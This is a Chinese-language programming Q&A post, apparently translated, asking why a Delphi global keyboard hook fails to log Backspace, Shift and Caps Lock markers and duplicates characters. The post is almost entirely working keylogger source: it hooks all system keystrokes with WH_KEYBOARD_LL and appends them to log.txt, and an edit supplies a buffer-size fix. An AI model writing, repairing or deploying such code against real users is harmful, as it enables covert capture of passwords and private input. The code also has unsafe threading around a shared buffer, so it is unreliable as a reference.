键盘钩子：如何在BeginThread（）内正确写入txt文件？

Question

我需要一个keyboad挂钩写入来自BeginThread()的txt文件，我的代码的问题是不写 {BKS} ， {SHIFT} ，或 {CAPS} 。并且捕获的所有字符都复制在txt文件中。

那么，我怎么解决？

代码：

var
  Form1: TForm1;
  HookHandle: hHook;
  ft: text;
  ThrId: LongWord;
  ThrHandle: Integer;


implementation

{$R *.dfm}

function ThreadWrite(PCharacter: PWideChar): Integer;
begin

    append(ft);
    write(ft,PCharacter);
    closefile(ft);

  EndThread(0);
  Result := 0;
end;


function LowLevelKeyboardProc(nCode: Integer; wParam: wParam;
    lParam: lParam): LRESULT; stdcall;
  var
     vkey: Cardinal;
     buff: WideChar;
     barray: array[0 .. 255] of WideChar;
     kbState: TKeyboardState;
     keybLayout: HKL;
     _msg: PEventMsg;
begin
   _msg := Pointer(lParam);

  if (nCode >= 0) and (wParam = WM_KEYDOWN) then
  begin

    GetKeyboardState(kbState);
    KeybLayout:=GetKeyboardLayout(0);
    vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout);
    ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout);

         if vkey = 8 then
             begin
               StringToWideChar('{BKS}',barray,sizeof(buff));
               BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
             end
             else
             if vkey = 16 then
             begin
               StringToWideChar('{SHIFT}',barray,sizeof(buff));
               BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
             end
             else
             if vkey = 20 then
             begin
               StringToWideChar('{CAPS}',barray,sizeof(buff));
               BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
             end
             else
               BeginThread(nil, 0, @ThreadWrite, @buff, 0, ThrId);

  end;
  Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;

function InstallHook: Boolean;
begin
  Result := False;
  if HookHandle = 0 then
  begin
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
    Result := HookHandle <> 0;
  end;
end;

function UninstallHook: Boolean;
begin
  Result := UnhookWindowsHookEx(HookHandle);
  HookHandle := 0;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(ft,'log.txt');
    rewrite(ft);
    closefile(ft);

   InstallHook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UninstallHook;
end;

修改

解决了 {BKS} ， {SHIFT} ， {CAPS} 的问题：

更改：

中SizeOf（BUFF）

要：

中SizeOf（barray）